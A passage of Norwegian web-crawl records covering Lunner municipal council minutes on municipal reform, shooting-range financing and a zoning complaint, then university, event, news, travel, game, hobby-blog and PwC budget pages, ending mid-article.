R\u00e5dmannens innstilling: 1. Lunner kommune takker nei til invitasjonen fra Jevnaker om \u00e5 utrede en ny kommune best\u00e5ende av Ringerike, Hole, Jevnaker, Lunner og Gran. Dette vurderes ikke som et funksjonelt samfunnsutviklingsomr\u00e5de. 2. Lunner kommune \u00f8nsker \u00e5 utrede om dagens ytre grenser for Gran og Lunner er hensiktsmessige i en evt. ny kommune. Nabokommuner informeres om dette og inviteres til samarbeid om hvordan en slik vurdering b\u00f8r gjennomf\u00f8res.\n\n43 Saksutredning: Bakgrunn for saken P\u00e5 m\u00f8ter i juni i \u00e5r behandlet kommunestyrene i Lunner og Gran sak om kommunereformen. Saken var initiert av ordf\u00f8rerne, men falt godt sammen med initiativet regjeringa hadde tatt og som ble fulgt opp i egen meldingsdel til kommuneproposisjonen. I tillegg til \u00e5 vedta at kommunen \u00f8nsket \u00e5 v\u00e6re med i f\u00f8rste runde i kommunereformen, ble det ogs\u00e5 vedtatt \u00e5 invitere Jevnaker til \u00e5 delta i reformarbeidet. Det ble satt som forutsetning at slik deltakelse ikke skulle forsinke arbeidet Lunner og Gran \u00f8nsket \u00e5 gjennomf\u00f8re. Denne henvendelsen ble behandlet av kommunestyret i Jevnaker 4. september. Av vedtaket som er fattet og brev som er oversendt g\u00e5r det fram at: En ny Hadelandskommune, best\u00e5ende av Gran, Lunner og Jevnaker er ikke et prioritert utredningsalternativ fra Jevnakers side. Jevnaker kommune \u00f8nsker isteden \u00e5 utrede et st\u00f8rre kommunealternativ, best\u00e5ende av Gran, Lunner, Jevnaker, Ringerike og Hole. De henvender seg derfor til disse kommunene for \u00e5 f\u00e5 svar p\u00e5 om dette er at alternativet som er \u00f8nskelig \u00e5 utrede. Dersom alternativet over ikke f\u00e5r oppslutning \u00f8nsker Jevnaker kommunestyre \u00e5 utrede muligheten for en sammensl\u00e5ing av kommunene Jevnaker, Ringerike og Hole. Jevnaker kommunestyre tar sikte p\u00e5 \u00e5 fatte vedtak om kommunestruktur innen juni Vurderinger Fra saken som ble lagt fram for kommunestyret i Jevnaker siteres f\u00f8lgende: \u00abEn sammensl\u00e5ing mellom Hadelands- og Ringerikskommunene kan se ideell ut p\u00e5 papiret, spesielt sett fra Jevnakers side. Imidlertid er det ikke s\u00e5 mye som knytter alle fem kommunene sammen per i dag. Det viktigste samarbeidet per i dag er som eiere av HRA. Man kunne ogs\u00e5 se for seg et sterkere eierskap innen den lokale/regionale energisektoren gjennom en fusjon mellom Hadeland Energi/Hadeland Kraft og Ringeriks-Kraft. For \u00f8vrig er Hadelands- og Ringeriksregionen relativt splittet funksjonelt sett. Ikke minst gjelder dette innenfor helseomr\u00e5det. Innenfor spesialisthelsetjenesten tilh\u00f8rer Gran og Lunner Innlandet HF, mens Jevnaker, Ringerike og Hole tilh\u00f8rer Vestre Viken HF\u00bb Videre framheves samarbeidet Jevnaker har med Ringerike/Buskerudsiden om legevakt og \u00f8yeblikkelig hjelp, mens Gran og Lunner i felleskap har st\u00e5tt for utbygging av n\u00f8detat-bygg i Gran og arbeider med felles planer om helsehus. R\u00e5dmannen i Jevnaker \u00abvurderer at retningen og innholdet i helse-samarbeidet er en tung faktor i vektsk\u00e5la for valg av framtidig samarbeidspartner evt omr\u00e5de for sammensl\u00e5ing\u00bb. R\u00e5dmennene i Gran og Lunner deler denne vurderingen. Funksjonelt samfunnsutviklingsomr\u00e5de. Ekspertutvalget som Kommunal- og moderniseringsdepartementet (KMD) satte ned fikk i oppdrag \u00e5 foresl\u00e5 prinsipper og kriterier for \u00e5 ivareta kommunen rolle som tjenesteyter, myndighetsut\u00f8ver, samfunnsutvikler og demokratisk arena. Av de 10 kriteriene ekspertutvalget kom fram til er funksjonelle samfunnsutviklingsomr\u00e5der et av de mest sentrale. I \u00abMeldingsdel til kommuneproposisjonen 2015\u00bb er bl.a. f\u00f8lgende tatt inn tatt inn om samfunnsutvikling og samfunnsutviklingsomr\u00e5der:\n\n45 M\u00d8TEBOK Arkivsaksnr.: 11/ Ark.: 614 A20 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 128/14 Kommunestyret /14 Formannskapet Saksbehandler: Atle Holmstykket, byggingeni\u00f8r FR\u00d8YSTADANLEGGET - ETTERBRUK Kommunestyrets vedtak: Kostnader til utbedring og sikkerhetsmessig oppgradering av innend\u00f8rs skytebane p\u00e5 Fr\u00f8ystad finansieres over prosjekt P207 med kr ,- som et P4b-vedtak. Behandling og avstemming: Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: Kostnader til utbedring og sikkerhetsmessig oppgradering av innend\u00f8rs skytebane p\u00e5 Fr\u00f8ystad finansieres over prosjekt P207 med kr ,- som et P4b-vedtak. R\u00e5dmannens innstilling: Kostnader til utbedring og sikkerhetsmessig oppgradering av innend\u00f8rs skytebane p\u00e5 Fr\u00f8ystad finansieres over prosjekt P207 med kr ,- som et P4b-vedtak.\n\n46 Sammendrag: Lunner kommune har i samarbeid med Lunner skytterlag rehabilitert og utvidet anlegget for skyting p\u00e5 Fr\u00f8ystad. Arbeidet til Lunner kommune er gjennomf\u00f8rt uten en tilfredsstillende avklaring om kostnadene kan dekkes innenfor rammen avsatt til \u00abP 207, Etterbruk Fr\u00f8ystad\u00bb. R\u00e5dmannen legger derfor frem en sak for \u00e5 stadfeste n\u00f8dvendig finansiering. Samarbeidet innbefatter at Lunner Skytterlag har hatt utgifter p\u00e5 tilsvarende niv\u00e5 som kommunen, samt bidratt med avgj\u00f8rende dugnadstimer. Uten n\u00f8dvendig rehabilitering var det trolig at anlegget m\u00e5tte stenges. Lunner kommune ville v\u00e6rt uten anlegg for skyting. Saksutredning: FAKTA: Lunner skytterlag har ca. 212 betalende medlemmer. Skytterlaget benytter banen 5 dager pr. uke, herav fordelt slik: mandag og fredag til pistol, tirsdag ungdom, onsdag jaktfelt, torsdag NRF. Kjeller ble gravd ut p\u00e5 dugnad av skytterlaget tidlig p\u00e5 60- tallet, og de har siden denne tid hatt denne innend\u00f8rs skytterbanen til fri bruk. Per n\u00e5 disponerer Lunner skytterlag ca. 270 m2 nto. (avmerket som gr\u00f8nt p\u00e5 plantegningen, se nedenfor). Det ble h\u00f8sten 2013 inng\u00e5tt ny leieavtale mellom skytterlaget og rektor ved Voksenoppl\u00e6ringen (Lunner kommune). Utf\u00f8rt rehabilitering og utvidelse: Lunner kommunes h\u00e5ndverkerlag og rammeavtale partnere har bist\u00e5tt skytterlaget med fjerning av vegger, omlegging elektriske anlegg (ny el-tavle, varme og lys, oppkopling for elektroniske skiver mm.), innsetting av d\u00f8rer, kjerneboring, maling og epoksy-behandling av gulv. Faktura for avfallsh\u00e5ndtering, maler, elektriker, byggevarer, r\u00f8rlegger- og timer til egne h\u00e5ndverkere (140 timer) akkumulert er hittil belastet Lunner kommune med kr ,-. Lunner skytterlag har p\u00e5 sin side lagt ned ca dugnadstimer og kan dokumentere en utgift kr. p\u00e5 ,- til bygg-materiell (for sikring av overflater/ godkjenning av banen) og kr ,- til nye elektroniske blinker. Til sammen kr ,-. Gjenst\u00e5ende arbeider: Det gjenst\u00e5r innkj\u00f8p og montasje av avtrekksvifter for kruttr\u00f8yk og elektrisk tilkopling av disse. I tillegg m\u00e5 el- installasjonen sluttf\u00f8res med tilkopling av en elektrisk ovn, sluttkontroll og varig merking. Dette bel\u00f8per seg til ca ,- inkl. mva. Oppsummering av \u00f8konomi: Lunner skytterlag har brukt kr ,- og bidratt med ca dugnadstimer. Lunner kommune bidrar med kr ,- (inkludert h\u00e5ndverkerl\u00f8nn 140 timer). Prosjekt 207 har gjenst\u00e5ende ca ,- til etterbruk Fr\u00f8ystad.\n\n\n\n47 VURDERING/DR\u00d8FTING: Administrasjonen i Lunner kommune har i SAK 48/13 f\u00e5tt i mandat \u00e5 legge frem en ny sak for helhetlig l\u00f8sning p\u00e5 Fr\u00f8ystad, innen utgangen av Det er i tidligere behandlinger bemerket at fotball og skytterlag skal best\u00e5 og v\u00e6re lokalisert p\u00e5 Fr\u00f8ystad, ogs\u00e5 inn i fremtiden. E\\&I har gitt aksept til \u00e5 bist\u00e5 Lunner Skytterlag for \u00e5 sette i stand eksisterende skytterbane og utvide til en ekstra innend\u00f8rs skytterbane l\u00f8p i underetasje p\u00e5 Fr\u00f8ystad. Lunner skytterlag hadde store sikkerhetsmessige utfordringer tilknyttet sikringer som stadig slo ut, og disse m\u00e5tte aktiviseres inne i hoved-tavlerommet, inne i blant str\u00f8mf\u00f8rende skinner. I tillegg var det utfordringer med belysning, varme, ventilasjon mm. Det var ogs\u00e5 et behov for sosialt rom, omkledningsrom, et ekstra skytterbanel\u00f8p og ombygging til elektroniske skiver med selvanvisning. Mulighetsrommet oppstod n\u00e5r Lunner ungdomsskole flyttet ut og det ble \u00abvakante\u00bb tilst\u00f8tende arealer tilgjengelig vegg i vegg med skytterbanen. Samtidig mistet skytterlaget sine utend\u00f8rs fasiliteter p\u00e5 Kjevlingen. Rehabiliteringen gir et varig godt innend\u00f8rs anlegg for skyting med utvidet kapasitet. Med bakgrunn i overst\u00e5ende anbefales en disponering av midler fra prosjekt P207 til rehabilitering av skytterbanen med kr ,-. Illustrasjoner og bilder: Utsnitt plantegning u. etg. Fr\u00f8ystad\n\n48 Skytterbane ferdig oppusset: S\u00e6rutskrift av saken med saksframlegg sendes til: Rett utskrift av m\u00f8tebok. Roa, Utvalgssekret\u00e6r\n\n49 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: 033 &29 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 129/14 Kommunestyret Saksbehandler: Jenny Eide Hemstad, fagleder INTERPELLASJON FRA LASSE LEHRE, LUNNER H\u00d8YRE Kommunestyrets vedtak: Kommunestyret er positive til at Lunner kommune s\u00f8ker om \u00e5 bli realfagskommune. Med bakgrunn i overnevnte legges det fram en sak i desember der kommunestyret endelig tar stilling til en slik s\u00f8knad. Behandling og avstemming: Ordf\u00f8rer Harald Tyrdal (AP) fremmet f\u00f8lgende vedtaksforslag: \u00abKommunestyret er positive til at Lunner kommune s\u00f8ker om \u00e5 bli realfagskommune. Med bakgrunn i overnevnte legges det fram en sak i desember der kommunestyret endelig tar stilling til en slik s\u00f8knad.\u00bb Harald Tyrdals vedtaksforslag ble enstemmig vedtatt. Ordf\u00f8rers innstilling: I henhold til Forretningsorden for Lunner kommunestyre punkt 3.9c besvares interpellasjonen i m\u00f8tet.\n\n50 Interpellasjon til kommunestyret I 2015 vil regjeringen lansere en ny realfagsstrategi. M\u00e5let med strategien er \u00e5 heve kompetansen i realfag og f\u00e5 flere elever til \u00e5 prestere p\u00e5 de h\u00f8ye niv\u00e5ene. Regjeringen inviterer alle kommuner i landet til \u00e5 s\u00f8ke og mellom 20 og 30 kommuner vil f\u00e5 muligheten til \u00e5 bli en realfagskommune. Lunner b\u00f8r v\u00e6re en av de kommunene. Kunnskap i realfag vil v\u00e6re en sentral del av norsk og internasjonalt arbeidsliv i fremtiden. Realfagskommunene skal skape forbedring nedenfra ved at kommunene tar et helhetlig og strategisk ansvar for barn og unges l\u00e6ring i realfag, fra barnehage til fullf\u00f8rt grunnskole. Kommunen har med ordningen en mulighet til \u00e5 gi v\u00e5re elever en bedre oppl\u00e6ringen i realfag og den vil gi de et fordel i videre studier og arbeid med realfag. Forslag til vedtak: Lunner kommune s\u00f8ker Kunnskapsdepartementet i 2015 om \u00e5 bli en realfagskommune. DOKUMENT I SAKEN: Vedlagt: \u00d8vrige dokument: 14/17193 Interpellasjon. org S\u00e6rutskrift av saken med saksframlegg sendes til: Rett utskrift av m\u00f8tebok. Roa, Utvalgssekret\u00e6r\n\n51 M\u00d8TEBOK Arkivsaksnr.: 13/96-72 Ark.: PLAN 13/96 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 130/14 Kommunestyret Saksbehandler: Ingun Bj\u00f8rgli Juul-Hansen, planlegger DETALJREGULERING FOR DEL AV KJ\u00d8RVEN NEDRE KLAGE P\u00c5 KOMMUNESTYRETS VEDTAK 93/14 AV Lovhjemmel: Plan- og bygningsloven 1-9, jfr. forvaltningslovens kap. VI Kommunestyrets vedtak: I medhold av plan- og bygningsloven 1-9, jf. forvaltningsloven kap. VI opprettholder Lunner kommune sitt vedtak i K-sak 93/14 fra m\u00f8tet Lunner kommune tar ikke klagen til f\u00f8lge. Dette begrunnes med at det i klagen ikke framkommer nye opplysninger som gir grunnlag for endring av planvedtaket. Klagen oversendes Fylkesmannen i Oppland for sluttbehandling. Behandling og avstemming: R\u00e5dmannens innstilling ble enstemmig vedtatt. R\u00e5dmannens innstilling: I medhold av plan- og bygningsloven 1-9, jf. forvaltningsloven kap. VI opprettholder Lunner kommune sitt vedtak i K-sak 93/14 fra m\u00f8tet Lunner kommune tar ikke klagen til f\u00f8lge. Dette begrunnes med at det i klagen ikke framkommer nye opplysninger som gir grunnlag for endring av planvedtaket. Klagen oversendes Fylkesmannen i Oppland for sluttbehandling.\n\n\n\n\n\n", "language": "no", "__index_level_0__": "051e2712-452a-472d-be96-7d32ca5e160e"}
{"url": "http://www.sv.uio.no/studier/master/tik/veiledning.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:49:35Z", "text": "# Veiledning\n\nAlle aktive programstudenter har rett til individuell veiledning\u00a0i arbeidet med\u00a0masteroppgaven.\n\n## Hvordan f\u00e5r du veileder?\n\nI 2.semester m\u00e5 du\u00a0s\u00f8ke om veileder via nettskjema. Alle programstudenter har rett p\u00e5 veileder, men s\u00f8knaden gj\u00f8r det lettere \u00e5 finne en passende veileder til deg.\n\nI nettskjemaet fyller du inn forel\u00f8pig tema for oppgaven, og dine\u00a0ideer\u00a0om metode, litteratur, empri\u00a0og liknende. **Veiledere fordeles av TIK-senteret** basert p\u00e5 informasjonen du oppgir i nettskjemaet.\n\n  - Nettskjema for TIK (frist 1.mai)\n  - Nettskjema for ESST (frist 1.mars)\n\n## Hvordan fungerer veiledning?\n\nDu og veileder er sammen ansvarlige for \u00e5 avtale m\u00f8ter og holde oversikt over timebruken. Det finnes ingen fasit p\u00e5 hvor ofte dere skal m\u00f8tes. Veileder plikter \u00e5 hjelpe deg i prosessen med \u00e5 skrive masteroppgave, og du plikter \u00e5 gj\u00f8re ditt beste i arbeidet med oppgaven samt\u00a0forberede deg til m\u00f8tene med veileder. Du kan lese mer om rettigheter og plikter i veiledningskontrakten.\n\nDu og veileder skal signere en veiledningskontrakt i to eksemplarer. Ett eksemplar skal leveres til studiekonsulenten.\u00a0Det er ditt ansvar \u00e5 laste ned veiledningskontrakten, f\u00e5 den underskrevet, og levere den i ekspedisjonen.\n\n**Spesielt for TIK**\n\nDu har rett p\u00e5 45 timers individuell veiledning. Veileders tid til forberedelse og lesing av utkastene dine er inkludert i de 45 timene.\n\n**Spesielt for ESST**\n\nDu har rett p\u00e5\u00a030 timers individuell veiledning. Veileders tid til forberedelse og lesing av utkastene dine er inkludert i de\u00a030 timene.\n\n## Viktige datoer\n\n**ESST**\n\nPublisert 16. mars 2016 12:53  - Sist endret 19. jan. 2018 13:27\n\n", "language": "no", "__index_level_0__": "38cd0742-cfee-41e2-94be-d80ad10db991"}
{"url": "https://hadelandkultursal.no/program-og-billetter/terje-sporsem-religion/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:18:48Z", "text": "# Terje Sporsem: Religion\n\nTerje Sporsem er endelig tilbake med et nytt helaftens standup-show.\n\n\u00a0\n***\u00abTerje Sporsem er befriende langt fra komikertrenden som herjer v\u00e5rt land.\u00bb*\u00a0\u2013 Aftenposten**\n\nSeri\u00f8st morsomt \u2013 V\u00e5rt Land\n\n\u00a0\n\nEtter flere \u00e5rs s\u00f8ken som ungdom fikk Terje aldri svar fra Gud, og ga til slutt opp. Siden den gang har han latt seg forundre og fascinere av mennesker som mener de har f\u00e5tt svar og som vier livet sitt til skrifter i en bok.\u00a0\n\nHva f\u00e5r en gjeng tr\u00f8ndere til \u00e5 konvertere til islam og reise til Syria for \u00e5 kjempe med IS? Hvorfor protesterte ingen da Abraham ville omskj\u00e6re alle? Var Moses helt tilregnelig? Og hvorfor \u00f8nsket ikke Mohammed \u00e5 bli avbildet? Dette er noen av sp\u00f8rsm\u00e5lene Terje stiller seg i sitt nye show. P\u00e5 sin s\u00e6regne og humoristiske m\u00e5te tar han for seg de store sp\u00f8rsm\u00e5lene n\u00e5r han harselerer med temaet mange kvier seg for.\u00a0\n\nMed sitt forrige show \u00abKRIG\u00bb viste Terje at man kan sp\u00f8ke med alvorlige temaer og allikevel f\u00e5 folk til \u00e5 le. Denne gangen blir det enda morsommere\\!\n\nBilletter kj\u00f8pes fortrinnsvis\u00a0p\u00e5 Hadeland kultursal sine nettsider og i mobilappen eBillett. Det er ogs\u00e5 mulig \u00e5 kj\u00f8pe billetter fra automaten i R\u00e5dhuset p\u00e5 Jaren, p\u00e5 biblioteket i Gran og p\u00e5 kinoen i Brandbu. Billettskranken i kultursalen \u00e5pner \u00e9n time f\u00f8r forestilling.\n\nHadeland kultursal aksepterer ledsagerbevis og kan reservere egne plasser til rullestol, men dette m\u00e5 bestilles p\u00e5 forh\u00e5nd med en e-post til email@example.com eller ved \u00e5 ringe 61 33 84 00 i kontortiden 08:00 - 15:45 p\u00e5 hverdager.\u00a0\n\n  \nFor sp\u00f8rsm\u00e5l om billetter, send e-post til firstname.lastname@example.org eller ring 61 33 84 00 mellom kl. 09:00 og 15:00.\n\n", "language": "no", "__index_level_0__": "e8aae209-5aef-46c2-89cd-3779d9b67de3"}
{"url": "https://www.nrk.no/finnmark/mistenker-fiskere-1.12694717", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-25T00:37:49Z", "text": "9\\. desember 2015 kl. 07:45\n\n## Mistenker fiskere\n\nFiskeridirektoratet mistenker at flere fiskere har levert falske flyttemeldinger for \u00e5 skaffe seg krabbekvote. Kongekrabbekvotene er forbeholdt fiskere i \u00d8st-Finnmark, men flere fiskere fra vestfylket har meldt flytting \u00f8stover de siste \u00e5rene.\n\n\n\n", "language": "no", "__index_level_0__": "0f6ca4ec-efd8-4b90-9a0d-551c048085c1"}
{"url": "http://booking.sportreiser.no/no/overnatting/a667415/leilighet-for-opp-til-6-personer-med-2-rom-p%C3%A5-weideli-saas/detaljer", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:26:26Z", "text": "### Feriehus for opp til 6 personer p\u00e5 Talblick - Saas Grund\n\n### Leilighet for opp til 4 personer med 2 rom p\u00e5 Azuro - Saas Grund\n\nP\u00e5 Azuro tilbys en 2-roms leilighet i toppetasjen. Her er det en stue med 2 skapsenger og TV, et dobbeltrom med 2 senger og vaskeservant, kj\u00f8kken (4 kokeplater, ovn, oppvaskmaskin) med spisebord, bad med dusj og toalett og en m\u00f8blert balkong med en meget vakker utsikt mot fjellene og landskapet. Merk: - R\u00f8ykfri leilighet. - 1 kj\u00e6ledyr/hund tillatt. Leilighetshuset \"Azuro\" med 4 etasjer ble bygget i 1971 og ligger i omr\u00e5det Tamatten i utkanten av Saas Grund. Det er en stor parkeringsplass i 50 m fra huset og i huset er det skirom for oppbevaring av utstyr. Viktige avstander: dagligvarehandel 500 m, restaurant 150 m, bussholdeplass 50 m, gondolheis 500 m, langrennsl\u00f8yper 100 m. Kilde: Interhome\n\n\n\n  \n#### Hjelp med bestillingen\n\nSportreiser fungerer som en formidler av reisetjenester. Har du sp\u00f8rsm\u00e5l om bestillingen hjelper vi deg s\u00e5 raskt vi kan.\n\nVi svarer s\u00e5 raskt vi kan, senest innen \u00e9n arbeidsdag.\n\n  \n#### Hvorfor bestille hos oss?\n\nSportreiser har 40 \u00e5rs erfaring av skireiser til Alpene.\n\n  -  **Mange avganger** direkte til sentrale flyplasser i Alpene.\n  -  **Skreddersy din reise** med fly, opphold og leiebil.\n  -  **Stort utvalg av hoteller og leiligheter** p\u00e5 fler enn 50 spesielt utvalgte skisteder.\n  -  **Vi gir deg trygghet og ekspertkompetanse** p\u00e5 skireiser til Alpene.\n  -  **Du reiser p\u00e5 dine egne betingelser, men samtidig fleksibelt og enkelt\\!**\n  -  **Sportreiser er mer av alt\\! Mer hoteller, mer flyalternativer, mer fleksible l\u00f8sninger, mer skikj\u00f8ring\\!**\n\n### Hjelp med bestillingen\n\nSportreiser fungerer som en formidler av reisetjenester. Har du sp\u00f8rsm\u00e5l om bestillingen hjelper vi deg s\u00e5 raskt vi kan.\n\n**F\u00e5 support p\u00e5 www.facebook.se/sportresor.se**  \n  \n**Send e-post til email@example.com.**  \nVi svarer s\u00e5 raskt vi kan, senest innen \u00e9n arbeidsdag.\n\n### Hvorfor bestille hos oss?\n\nSportreiser har 40 \u00e5rs erfaring av skireiser til Alpene.\n\n  -  **Mange avganger** direkte til sentrale flyplasser i Alpene.\n  -  **Skreddersy din reise** med fly, opphold og leiebil.\n  -  **Stort utvalg av hoteller og leiligheter** p\u00e5 fler enn 50 spesielt utvalgte skisteder.\n  -  **Vi gir deg trygghet og ekspertkompetanse** p\u00e5 skireiser til Alpene.\n  -  **Du reiser p\u00e5 dine egne betingelser, men samtidig fleksibelt og enkelt\\!**\n  -  **Sportreiser er mer av alt\\! Mer hoteller, mer flyalternativer, mer fleksible l\u00f8sninger, mer skikj\u00f8ring\\!**\n\n Sportreiser\n\n", "language": "no", "__index_level_0__": "6f55e25b-7871-4ddc-8f90-a3bc362911ed"}
{"url": "http://www.gamelola.com/spill-online-spill/motox-morsom-tur", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:38:52Z", "text": "# MotoX morsom tur (Motox Fun Ride)\n\n**MotoX morsom tur**: Hjelp din venn gj\u00f8re stunts som han kj\u00f8rer til m\u00e5llinjen rase opp og ned \u00e5ser og stikke landing som du pr\u00f8ver en av de tre triksene som du vet.  \n", "language": "no", "__index_level_0__": "4e6aca6f-3e19-47b0-9b47-7407a23d03d4"}
{"url": "http://aasesanna.blogspot.com/2011/03/sa-mangt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:46:34Z", "text": "Noe hobby og noe kommersielt..... \n\n## F\u00f8lgere\n\n    \n\n## s\u00f8ndag 27. mars 2011\n\n### S\u00e5 mangt.....\n\n  \nI dag m\u00e5 jeg f\u00e5 ut litt frustrasjon.\u00a0\n\nFor jeg har g\u00e5tt og ergret meg over noe en stund n\u00e5.\n\nFor en tid tilbake fikk jeg en bestilling p\u00e5 11 kort.\n\n\u00a0Jeg jobbet\u00a0 jevnt og trutt med de og m\u00e5tte handle inn litt nye ting.\n\nFor et par av kortene skulle v\u00e6re til bryllup og konfirmasjon.\n\nDet ble jo en stor pakke tilslutt, som skulle sendes i posten.\n\nPortoen ble ekstra h\u00f8y pga. st\u00f8rrelsen p\u00e5 pakken.\n\nJeg ringte vedkommende og gjorde oppmerksom p\u00e5 dette, men det var helt greit.\n\nTakke f... for det. For jeg har til dd. ikke f\u00e5tt fem \u00f8re.....\n\nN\u00e5 har jeg gitt opp \u00e5 purre p\u00e5 det og har innfunnet meg med et stort tap \\!\n\nDet v\u00e6rste er at det tikket inn en ny bestilling fra samme person og med lovnad om at pengene\u00a0\n\nvar p\u00e5 vei \\!\n\n  \nHeretter skal jeg ha betalt F\u00d8R jeg lager og sender avg\u00e5rde noe.\n\nIallefall n\u00e5r det er ukjente som bestiller.\n\n  \nGodt \u00e5 f\u00e5 det ut, - og ferdig med det \\!\n\n  \nNy bestilling her, fra en kollega denne gang.\n\nTviler vel ikke p\u00e5 betalingen denne gangen.....\n\n  \n\n\n  \nM\u00f8nsterpapir: Panduro.\n\nMotiv fra nettet.\n\nMetallpynt: KortHobby.\n\nTekststempel: Kort\\&Godt.\n\nSvirl-stempel: Kort i Hodet.\n\nRose: Europris.\n\nStempel: Magnolia.\n\nBlomst: Papirloftet.\n\nHjemmesnekret hjerte.\n\n  \n\n\n  \n16:22           \n#### 8 kommentarer:\n\n1.  \n    \n    bojose27. mars 2011 kl. 17:31\n    \n    Fy s\u00f8ren, s\u00e5 frekt. Skj\u00f8nner veldig godt din frustrasjon over dette. Du m\u00e5 ta betaling p\u00e5 forskudd.  \n      \n    Et nydelig kort du har lagd.  \n    klem :)\n    \n2.  \n    \n    RoseSommer27. mars 2011 kl. 19:46\n    \n    Hva er dette: -  \n      \n    Svar: Sannas lunte.  \n      \n    Bare erter. M\u00e5 le av den historien. Utrolig.  \n    Har du tid, s\u00e5 m\u00e5 du stikke innom Monica i Bod\u00f8 og se hva hun skriver om MEG idag\\! Snufs....  \n      \n    \n3.  \n    \n    Pips27. mars 2011 kl. 20:26\n    \n    Jeg kan godt forst\u00e5 du skal af med det :o) ... jeg ville nok tage kontakt til vedkommende og h\u00f8re hvor pengene er. H\u00e5ber s\u00f8rme du f\u00e5r din betaling.\n    \n    \n    Mim...27. mars 2011 kl. 20:44\n    \n    Men fy tusan s\u00e5 g\u00f6r man inte, lurar n\u00e5gon p\u00e5 betalning och hur kan de med att best\u00e4lla mer kort??  \n    Ha en bra kv\u00e4ll....\n    \n5.  \n    \n    Kort og S\u00f8m27. mars 2011 kl. 20:51\n    \n    Uff...useri\u00f8se kunder er ikke bra.  \n    Har opplevd noe lignede, og det er utrolig provoserende.  \n    Du m\u00e5 be om at kortene blir sendt tilbake til deg hvis kunden ikke er villig til \u00e5 betale for de.  \n    Og alltid ta betaling p\u00e5 forh\u00e5nd.  \n      \n    H\u00e5per kvelden din blir fin tross for en d\u00e5rlig kunde\\!  \n      \n    Veldig fint kort da :O)  \n    Klem Fredrikke\n    \n6.  \n    \n    Riet27. mars 2011 kl. 23:04\n    \n    What a wonderful card Sanna,I love the image and your papers.  \n      \n    Hugs Riet.xx\n    \n    Pink Lady6827. mars 2011 kl. 23:49\n    \n    Lov til \u00e5 v\u00e6re frustrert n\u00e5r s\u00e5nt skjer.  \n    H\u00e5per du f\u00e5r betalingen snart:-)  \n    Kjempe flott rosa konfirmasjonskort\\!\\!  \n      \n    Klem Laila.\n    \n8.  \n    \n    Karianne30. mars 2011 kl. 21:51\n    \n    Herlig-herlig\\!\\! Jeg f\u00f8lger \\*smil\\*\n    \n", "language": "no", "__index_level_0__": "a865795c-3776-4a06-b2c0-0835d73eae09"}
{"url": "http://blogg.pwc.no/digital-transformasjon/digitalisering-fra-budsjettaper-til-resultatvinner", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:12:36Z", "text": "\n\n# Digitalisering: fra budsjettaper til resultatvinner?\n\nAv Renate Enemark Bergersen og Marte Andresen , 19. oktober 2017\n\n**\n\n*Av Statsbudsjettets 76 615 ord er begrepene digitalisering og digital brukt henholdsvis seks og fire ganger. Det virker jo ikke s\u00e5 oppl\u00f8ftende. Men IKT er nevnt 34 ganger, innovasjon 48 og omstilling 14. Ettersom digitalisering prim\u00e6rt er et virkemiddel for \u00e5 fornye og forbedre, er lesingen kanskje ikke s\u00e5 dyster som det f\u00f8rst kunne se ut som.*\n\n**\n\nFinansminister Siv Jensen la frem et tiln\u00e6rmet n\u00f8ytralt statsbudsjett sist torsdag. Pilene peker oppover i norsk \u00f8konomi, men budsjettet for 2018 bekrefter et kjent utfordringsbilde: Norge har behov for \u00e5 fornye, forbedre og effektivisere for i fremtiden \u00e5 kunne produsere mer for mindre og tilby bedre og enklere tjenester til befolkningen. Det kan ikke skje uten en omfattende digitalisering av norsk forvaltning.\n\nP\u00e5 Difis \u00e5rlige Digitaliseringskonferanse i juni snakket politikere og ledere i store ord om hva som m\u00e5 gj\u00f8res for \u00e5 f\u00e5 fart p\u00e5 digitaliseringen i offentlig sektor. Vellykket digitalisering, ble det p\u00e5pekt, stiller \u00e5penbare krav til samordning og gevinstrealisering. Vi m\u00e5 legge til rette for pr\u00f8ving og feiling for \u00e5 gi rom for innovasjon med brukerne i sentrum. F\u00f8lges de store ordene opp med tilsvarende handlingsrom i Statsbudsjettet?\n\nKommunal- og moderniseringsminister Jan Tore Sanner sl\u00e5r fast at \"Regjeringa fortset \u00e5 digitalisere Noreg\". Han henviser til en foresl\u00e5tt bevilgning p\u00e5 588 millioner kroner til nye IKT- og digitaliseringstiltak i 2018. Digitalisert skattemelding, ny tjenesteplattform i Altinn og digitalisering av offentlige innkj\u00f8p er positive tiltak. Det er likevel slik at bevilgningen er halvert fra 2017-budsjettet, der det ble satt av 1,2 milliarder til IKT og digitalisering.\n\nSelv om en halvert bevilgning vitner om et redusert ambisjonsniv\u00e5, er det samtidig mye viktig innovasjons- og digitaliseringsarbeid som r\u00f8rer seg under overflaten i \u00e5rets statsbudsjett. Mange prosjekter videref\u00f8res og finansieres gjennom vanlige driftsmidler til det enkelte departement. Og vi konstaterer med glede at Stimuleringsordningen for innovasjon og tjenestedesign videref\u00f8res i 2018 med en ramme p\u00e5 10 millioner kroner. Ordningen har i 2016 og 2017 v\u00e6rt et pr\u00f8veprosjekt i regi av Difi og DOGA, og skal stimulere til innovasjon i offentlig sektor. Form\u00e5let er \u00e5 utvikle innovative offentlige tjenester som tar utgangspunkt i brukernes behov - og ikke forvaltningens organisering eller eksisterende prosesser. Vi har selv bidratt p\u00e5 